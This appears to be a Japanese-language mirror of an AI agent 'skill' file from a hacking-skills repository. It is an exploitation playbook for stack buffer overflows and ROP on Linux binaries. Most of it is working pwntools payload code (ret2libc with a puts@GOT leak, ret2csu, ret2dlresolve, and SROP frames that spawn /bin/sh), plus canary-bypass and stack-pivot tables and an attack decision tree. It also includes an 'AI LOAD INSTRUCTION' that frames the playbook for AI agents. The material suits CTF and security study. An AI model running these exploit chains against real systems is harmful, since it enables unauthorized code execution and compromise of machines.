stack-overflow-and-rop
スタックオーバーフローおよびROP攻撃のプレイブック。リターンアドレス上書き、ROPチェーン、ret2libc、ret2csu、ret2dlresolve、SROPなどの手法でLinuxユーザーランドバイナリの制御フローを乗っ取るバッファオーバーフロー攻撃を行う際に使用する。
description の原文を見る
>- Stack overflow and ROP playbook. Use when exploiting buffer overflows to hijack control flow via return address overwrite, ROP chains, ret2libc, ret2csu, ret2dlresolve, or SROP on Linux userland binaries.
SKILL.md 本文
SKILL: スタックオーバーフロー & ROP — エキスパート攻撃プレイブック
AI LOAD INSTRUCTION: スタックベースの高度な悪用技術。クラシックバッファオーバーフロー、return-to-libc、ROP チェーン構築、ret2csu、ret2dlresolve、SROP、スタック ピボット、カナリア バイパスをカバー。ctf-wiki advanced-rop、実際の CVE、CTF 競技パターンから抽出。ベースモデルは制約条件下でのガジェット選択のニュアンスを逃しがち。
0. 関連ルーティング
format-string-exploitation— オーバーフロー トリガー前にフォーマット文字列経由でカナリア/libc/PIE ベースをリークbinary-protection-bypass— NX、ASLR、PIE、カナリア、RELRO の体系的バイパスarbitrary-write-to-rce— 書き込みプリミティブ(GOT、フック、vtable)をコード実行に変換heap-exploitation— 脆弱性がスタックではなくヒープにある場合
高度なリファレンス
以下の場合に ROP_ADVANCED_TECHNIQUES.md をロード:
- バイナリなしのリモートサービスに対する Blind ROP (BROP) 方法論
- 32 ビットシステムにおける ASLR バイパスの ret2vdso
- PIE バイパスの部分上書き技術
- JOP / COP 代替コード再利用パラダイム
1. スタックレイアウト基礎
High Address
┌─────────────────────┐
│ ... (caller) │
├─────────────────────┤
│ Return Address │ ← 上書き対象 (EIP/RIP 制御)
├─────────────────────┤
│ Saved EBP/RBP │ ← スタック ピボット上書き対象
├─────────────────────┤
│ Canary (有効時) │
├─────────────────────┤
│ Local Variables │ ← バッファはここから開始
├─────────────────────┤
│ ... │
└─────────────────────┘
Low Address
| 要素 | x86 (32 ビット) | x86-64 (64 ビット) |
|---|---|---|
| リターンアドレスサイズ | 4 バイト | 8 バイト |
| セーブされたフレームポインタ | 4 バイト (EBP) | 8 バイト (RBP) |
| カナリアサイズ | 4 バイト | 8 バイト |
| 呼び出し規約 | スタック上の引数 | RDI、RSI、RDX、RCX、R8、R9、その後スタック |
| システムコール命令 | int 0x80 | syscall |
2. RETURN-TO-LIBC
NX が有効な場合(スタックが実行不可)、libc 関数への実行をリダイレクト。
クラシック ret2libc (32 ビット)
payload = b'A' * offset
payload += p32(system_addr)
payload += p32(exit_addr) # system() の偽のリターンアドレス
payload += p32(binsh_addr) # arg1: "/bin/sh"
ret2libc (64 ビット) — 引数に ガジェットが必要
pop_rdi = elf_base + 0x401234 # pop rdi; ret
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
Libc ベースリーク方法
| 方法 | 技術 | 使用時 |
|---|---|---|
| puts@plt(puts@GOT) | 解決済み libc アドレスをリーク | GOT が既に解決済み、puts が PLT にある |
| write@plt(1, read@GOT, 8) | write システムコール経由でリーク | write 利用可能 |
| printf("%s", GOT_entry) | フォーマット文字列経由でリーク | printf が制御可能 |
| 部分上書き | リターンアドレスの下位バイトを上書きしてリーク ガジェットに到達 | PIE 有効、既知の下位 12 ビット |
# 典型的なリークパターン
rop = b'A' * offset
rop += p64(pop_rdi) + p64(elf.got['puts'])
rop += p64(elf.plt['puts'])
rop += p64(main_addr) # 2 番目ペイロード用に main へ戻る
io.sendline(rop)
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc_base = leak - libc.symbols['puts']
one_gadget — シングルガジェット RCE
$ one_gadget /path/to/libc.so.6
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints: rsp & 0xf == 0, rcx == NULL
0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints: [rsp+0x40] == NULL
制約を満たす必要があります — 使用前にレジスタ/スタック状態を確認してください。
3. ROP チェーン構築
ツール比較
| ツール | 強み | コマンド |
|---|---|---|
| ROPgadget | 包括的な検索、チェーン生成 | ROPgadget --binary elf --ropchain |
| ropper | セマンティック検索、JOP/COP サポート | ropper -f elf --search "pop rdi" |
| pwntools ROP | 自動チェーン構築 | rop = ROP(elf); rop.call('system', ['/bin/sh']) |
| xrop | 高速ガジェット検索 | xrop -r elf |
必須ガジェットパターン
| 目的 | ガジェット | 使用例 |
|---|---|---|
| RDI (arg1) 設定 | pop rdi; ret | ほとんどの関数呼び出し |
| RSI (arg2) 設定 | pop rsi; pop r15; ret | 2 引数関数 |
| RDX (arg3) 設定 | pop rdx; ret (稀) | 3 引数関数、ret2csu を使用 |
| システムコール | syscall; ret | 直接システムコール実行 |
| スタック ピボット | leave; ret | RSP を制御されたバッファに移動 |
| スタック アラインメント | ret (単一 ret ガジェット) | movaps の 16 バイト アラインメント修正 |
x86-64 スタック アラインメント: system() および他の libc 関数は movaps を使用し、RSP % 16 == 0 が必要。呼び出し前にアラインメントがオフの場合、追加の ret ガジェットを挿入。
4. ret2csu — ユニバーサル 3 引数制御
__libc_csu_init はほぼすべての動的リンク ELF バイナリに存在し、最大 3 引数での制御された呼び出しを提供。
; ガジェット 1 (csu_init + 0x3a): レジスタをポップ
pop rbx ; 0
pop rbp ; 1
pop r12 ; 呼び出し対象 (関数ポインタアドレス)
pop r13 ; arg3 (rdx)
pop r14 ; arg2 (rsi)
pop r15 ; arg1 (edi = r15d)
ret
; ガジェット 2 (csu_init + 0x20): 制御された呼び出し
mov rdx, r13
mov rsi, r14
mov edi, r15d ; 注: rdi 全体ではなく edi (32 ビット) のみ設定
call [r12 + rbx*8]
add rbx, 1
cmp rbp, rbx
jne <loop>
; ガジェット 1 へ再度フォール
主要な制約: r12 は対象関数へのポインタ(例: GOT エントリ)を指し示す必要があり、関数アドレスそのものではない。ループをスキップするために rbx=0、rbp=1 を設定。
5. ret2dlresolve
ELF 動的リンク構造を偽造し、libc リークなしで任意の関数(例: system)を解決。
攻撃フロー
_dl_runtime_resolve(link_map, reloc_offset)への実行を制御- 偽の
Elf_Symを指し示すElf_Relを既知の書き込み可能アドレスに偽造 - 偽の文字列
"system\x00"を指し示すst_nameでElf_Symを偽造 reloc_offsetを設定し、リゾルバーが偽造構造を使用するようにする- 引数(
/bin/sh)をスタックまたは既知バッファに配置
# pwntools 自動化 (推奨)
from pwntools import *
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
io.sendline(rop.chain())
io.sendline(dlresolve.payload)
32 ビット vs 64 ビット 違い
| 側面 | 32 ビット | 64 ビット |
|---|---|---|
| リロケーション型 | Elf32_Rel (8 バイト) | Elf64_Rela (24 バイト) |
| シンボルテーブルエントリ | Elf32_Sym (16 バイト) | Elf64_Sym (24 バイト) |
| アラインメント | 緩い | 厳密 (ndx = (reloc_offset) / sizeof(Elf64_Rela), その後 sym = symtab[ndx] を満たす必要がある) |
| バージョン確認 | スキップ可能 | VERSYM[sym_index] は有効または 0 である必要がある |
6. SROP — Sigreturn-Oriented Programming
sigreturn システムコールを悪用してスタック上の偽の Signal Frame からすべてのレジスタを一度に設定。
from pwn import *
frame = SigreturnFrame()
frame.rax = constants.SYS_execve # 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret_addr
frame.rsp = new_stack_addr # オプション: ピボット
payload = b'A' * offset
payload += p64(pop_rax_ret) + p64(15) # SYS_rt_sigreturn = 15
payload += p64(syscall_ret)
payload += bytes(frame)
使用時機: ガジェット制限、pop rdx なし、静的バイナリ、または任意アドレスへのスタック ピボット必要。
7. スタック ピボット
オーバーフロー長が制限されている場合、スタックポインタを攻撃者制御バッファに移動。
| 技術 | ガジェット | 前提条件 |
|---|---|---|
leave; ret | mov rsp, rbp; pop rbp; ret | セーブ RBP を制御して偽スタックを指し示す |
xchg rsp, rax; ret | RSP と RAX をスワップ | RAX を制御(ガジェットチェーン経由) |
pop rsp; ret | 直接 RSP 制御 | 稀だが強力 |
| SROP ピボット | SigreturnFrame で RSP を設定 | sigreturn ガジェットのみ必要 |
leave;ret ピボットパターン
オーバーフロー: [AAAA...][fake_rbp → buf][leave_ret_addr]
1 番目 leave: rsp = rbp → fake_rbp; pop rbp → *fake_rbp
1 番目 ret: rip = leave_ret_addr
2 番目 leave: rsp = new_rbp → buf+8; pop rbp → *(buf)
2 番目 ret: rip = *(buf+8) → buf 内の ROP チェーン開始
8. カナリア バイパス
| 技術 | 条件 | 方法 |
|---|---|---|
| ブルートフォース | fork() サーバー(子でカナリア同じ) | バイト単位(64 ビット: 256 × 7 = 1792 試行) |
| フォーマット文字列リーク | printf(ユーザー入力)利用可能 | %N$p でスタックからカナリアを読取り |
| スタック読み取り | 1 バイト オーバーフロー or 部分読み取り | カナリア null バイト上書き、エラー/出力経由でリード |
| スレッドカナリア | オーバーフロー TLS に到達 | TLS fs:[0x28] で stack_guard を同時に上書き |
| 情報開示 | 初期化されていないスタック変数リーク | カナリア リークデータに含まれる |
9. ツール クイックリファレンス
checksec ./binary # 保護を表示 (NX、カナリア、PIE、RELRO)
ROPgadget --binary ./binary --ropchain # ROP チェーン自動生成
ropper -f ./binary --search "pop rdi" # セマンティック ガジェット検索
one_gadget ./libc.so.6 # ワンショット RCE ガジェット検索
pwn template ./binary --host x --port y # pwntools エクスプロイト スケルトン生成
10. デシジョンツリー
バイナリにスタックオーバーフロー?
├── checksec: NX 無効?
│ └── YES → スタック上のシェルコード、バッファへ ret (ret2shellcode)
│ └── NO (NX 有効) →
│ ├── カナリア有効?
│ │ ├── YES → fork() サーバー? → カナリア ブルートフォース
│ │ │ フォーマット文字列? → カナリア リーク
│ │ │ 情報リーク? → カナリア 読み取り
│ │ └── NO → ROP へ進む
│ ├── ASLR/PIE 有効?
│ │ ├── PIE → コード ベース リーク (最下位 12 ビット部分上書き、or 情報リーク)
│ │ ├── ASLR のみ → libc ベース リーク (puts@GOT、write@GOT)
│ │ └── なし → アドレス既知、直接 ROP
│ ├── libc リーク可能?
│ │ ├── YES → ret2libc (system/execve) or one_gadget
│ │ └── NO → ret2dlresolve (解決偽造) or SROP
│ ├── 3 引数以上必要だが pop rdx なし?
│ │ └── ret2csu or SROP
│ ├── オーバーフロー短すぎて完全チェーン不可?
│ │ └── スタック ピボット (leave;ret、xchg rsp)
│ ├── 静的バイナリ (libc なし)?
│ │ └── SROP + syscall チェーン (sigreturn 経由 execve)
│ └── 完全 RELRO?
│ └── GOT 上書き不可 → __free_hook、__malloc_hook、
│ or _IO_FILE vtable を対象 (../arbitrary-write-to-rce/ 参照)
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
superfluid
Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper
civ-finish-quotes
実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。
nookplot
Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。
web3-polymarket
Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。
ethskills
Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。
xxyy-trade
このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。